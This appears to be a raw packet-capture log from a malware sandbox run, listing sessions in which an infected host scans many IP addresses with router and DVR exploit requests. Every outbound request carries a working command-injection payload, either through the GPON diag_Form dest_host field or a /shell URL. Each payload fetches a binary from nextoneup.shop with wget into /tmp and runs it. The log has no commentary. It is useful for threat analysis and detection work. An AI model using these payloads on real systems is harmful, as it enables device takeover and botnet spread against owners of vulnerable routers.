XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.13	46108	94.58.186.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881242990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.13	58410	94.81.166.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881253958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.13	48502	42.229.99.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881283045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.13	34782	123.69.227.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881304026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.13	51344	118.136.156.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881325960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.13	42440	148.5.143.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881342888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.13	41438	178.44.44.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881382942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.13	54100	123.169.176.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881395102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.13	46688	79.158.39.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881412983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.13	48896	109.136.7.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.881444931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
988	192.168.2.13	34700	104.218.232.35	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.285415888 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.469887018 CEST	792	IN	HTTP/1.1 504 Gateway Timeout Server: ddos-guard Date: Sun, 14 Apr 2024 02:00:53 GMT Connection: keep-alive Keep-Alive: timeout=60 Content-Type: text/html; charset=utf8 Content-Length: 583 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 34 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 20 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 20 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 70 3e 3c 62 3e 35 30 34 20 2d 20 47 61 74 65 77 61 79 20 54 69 6d 65 6f 75 74 20 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 57 65 20 64 69 64 20 6e 6f 74 20 72 65 63 65 69 76 65 20 61 20 74 69 6d 65 6c 79 20 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 74 68 65 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 20 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e Data Ascii: <!DOCTYPE html><html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 504</title><style>*{margin:0;padding:0}html{font:15px/22px arial,sans-serif;background: #fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}p{margin:11px 0 22px;overflow :hidden}ins{color:#777;text-decoration :none;}</style><p><b>504 - Gateway Timeout .</b> <ins>Thats an error.</ins><p>We did not receive a timely response from the upstream server. <ins>Thats all we know.</ins>

Session ID	Source IP	Source Port	Destination IP	Destination Port
989	192.168.2.13	53236	125.229.13.9	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.310523987 CEST	507	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 38 65 35 30 62 39 30 33 2d 38 61 37 35 2d 63 62 64 61 2d 62 36 37 2d 36 35 64 35 32 32 34 37 37 32 66 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 34 20 Data Ascii: (null) 400 Bad RequestServer: 8e50b903-8a75-cbda-b67-65d5224772fDate: Sun, 14 Apr 2024 02:00:23 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: close<HTML><HEAD><TITLE>400 Bad Request</TITLE></H

Session ID	Source IP	Source Port	Destination IP	Destination Port
990	192.168.2.13	36518	104.104.29.222	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.581357002 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:23.876768112 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:23 GMT Date: Sun, 14 Apr 2024 02:00:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 34 33 39 34 30 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 33 26 23 34 36 3b 31 32 63 35 34 65 39 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 34 33 39 34 30 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 32 33 26 23 34 36 3b 31 32 63 35 34 65 39 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.84394017.1713060023.12c54e9e<P>https://errors.edgesuite.net/9.84394017.1713060023.12c54e9e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
991	192.168.2.13	39366	82.165.23.33	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.607104063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
992	192.168.2.13	38066	189.43.147.177	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.634918928 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
993	192.168.2.13	44076	193.255.219.145	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.819901943 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:24.184665918 CEST	1289	IN	HTTP/1.0 307 Temporary Redirect Date: Sun, 14 Apr 2024 02:00:24 GMT Server: Check Point SVN foundation Content-Type: text/html X-UA-Compatible: IE=EmulateIE7 Connection: close X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains Location: https://fw2.aksaray.edu.tr/connect/Access?AgentCode=000&url=aHR0cDovLzEyNy4wLjAuMTo4MC9zaGVsbD9jZCsvdG1wO3JtKy1yZisqO3dnZXQraHR0cDovL25leHRvbmV1cC5zaG9wL2phd3M7c2grL3RtcC9qYXdz&cti= Content-Length: 2342 Data Raw: 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 09 09 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 2d 31 22 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 0a 09 2f 2a 0a 09 2a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 30 20 4a 6f 68 6e 20 52 65 73 69 67 2c 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 09 2a 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 61 20 63 6f 70 79 20 6f 66 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 61 6e 64 20 61 73 73 6f 63 69 61 74 65 64 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 20 66 69 6c 65 73 20 2f 2f 28 74 68 65 22 53 6f 66 74 77 61 72 65 22 29 2c 20 74 6f 20 64 65 61 6c 20 69 6e 0a 09 2a 74 68 65 20 53 6f 66 74 77 61 72 65 20 77 69 74 68 6f 75 74 20 72 65 73 74 72 69 63 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 77 69 74 68 6f 75 74 20 6c 69 6d 69 74 61 74 69 6f 6e 20 74 68 65 20 72 69 67 68 74 73 20 74 6f 20 75 73 65 2c 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 09 6d 65 72 67 65 2c 20 2f 2f 70 75 62 6c 69 73 68 2c 64 69 73 74 72 69 62 75 74 65 2c 20 73 75 62 6c 69 63 65 6e 73 65 2c 20 61 6e 64 2f 6f 72 20 73 65 6c 6c 20 63 6f 70 69 65 73 20 6f 66 20 74 68 65 0a 09 2a 53 6f 66 74 77 61 72 65 2c 20 61 6e 64 20 74 6f 70 65 72 6d 69 74 20 70 65 72 73 6f 6e 73 20 74 6f 20 77 68 6f 6d 20 74 68 65 20 53 6f 66 74 77 61 72 65 20 69 73 20 66 75 72 6e 69 73 68 65 64 20 74 6f 20 64 6f 20 73 6f 2c 20 73 75 62 6a 65 63 74 20 2f 2f 74 6f 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 63 6f 6e 64 69 74 69 6f 6e 73 3a 0a 09 2a 54 68 65 20 61 62 6f 76 65 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 69 73 20 70 65 72 6d 69 73 73 69 6f 6e 20 6e 6f 74 69 63 65 20 73 68 61 6c 6c 20 62 65 69 6e 63 6c 75 64 65 64 20 69 6e 20 61 6c 6c 20 63 6f 70 69 65 73 20 6f 72 20 73 75 62 73 74 61 6e 74 69 61 6c 20 70 6f 72 74 69 6f 6e 73 20 6f 66 20 74 68 65 20 53 6f 66 74 77 61 72 65 2e 0a 09 2a 2f 0a 09 09 09 0a 09 09 09 76 61 72 20 6b 65 79 53 74 72 69 6e Data Ascii: <html><head><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="Expires" CONTENT="-1"></head><body><script>/*Copyright (c) 2010 John Resig, http://jquery.com/Permission is hereby granted, free of charge, to any person obtaininga copy of this software and associated documentation files //(the"Software"), to deal inthe Software without restriction, includingwithout limitation the rights to use, copy, modify,merge, //publish,distribute, sublicense, and/or sell copies of theSoftware, and topermit persons to whom the Software is furnished to do so, subject //tothe following conditions:The above copyright notice and this permission notice shall beincluded in all copies or substantial portions of the Software./var keyStrin
Apr 14, 2024 04:00:24.184679985 CEST	1289	IN	Data Raw: 67 20 3d 20 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 3b 0a 09 09 09 0a 09 09 09 66 75 Data Ascii: g = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function uTF8Encode(string) {string = string.replace(/x0dx0a/g, "x0a");var output = "";for (var n = 0; n < string.length; n++) {var c = st
Apr 14, 2024 04:00:24.184691906 CEST	292	IN	Data Raw: 74 72 69 6e 67 2e 63 68 61 72 41 74 28 65 6e 63 32 29 20 2b 20 6b 65 79 53 74 72 69 6e 67 2e 63 68 61 72 41 74 28 65 6e 63 33 29 20 2b 20 6b 65 79 53 74 72 69 6e 67 2e 63 68 61 72 41 74 28 65 6e 63 34 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 72 65 Data Ascii: tring.charAt(enc2) + keyString.charAt(enc3) + keyString.charAt(enc4);}return output;}window.top.location.href = 'https://fw2.aksaray.edu.tr/connect/Access?AgentCode=000&url=' + base64Encode(window.top.location.href) + '&c

Session ID	Source IP	Source Port	Destination IP	Destination Port
994	192.168.2.13	47062	103.140.205.113	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.893827915 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:24.336213112 CEST	241	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Content-Length: 109 Date: Sun, 14 Apr 2024 02:00:23 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
995	192.168.2.13	48036	172.66.201.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.363823891 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
996	192.168.2.13	58162	46.8.153.39	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.688215017 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.13	46062	109.109.54.95	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:24.790186882 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
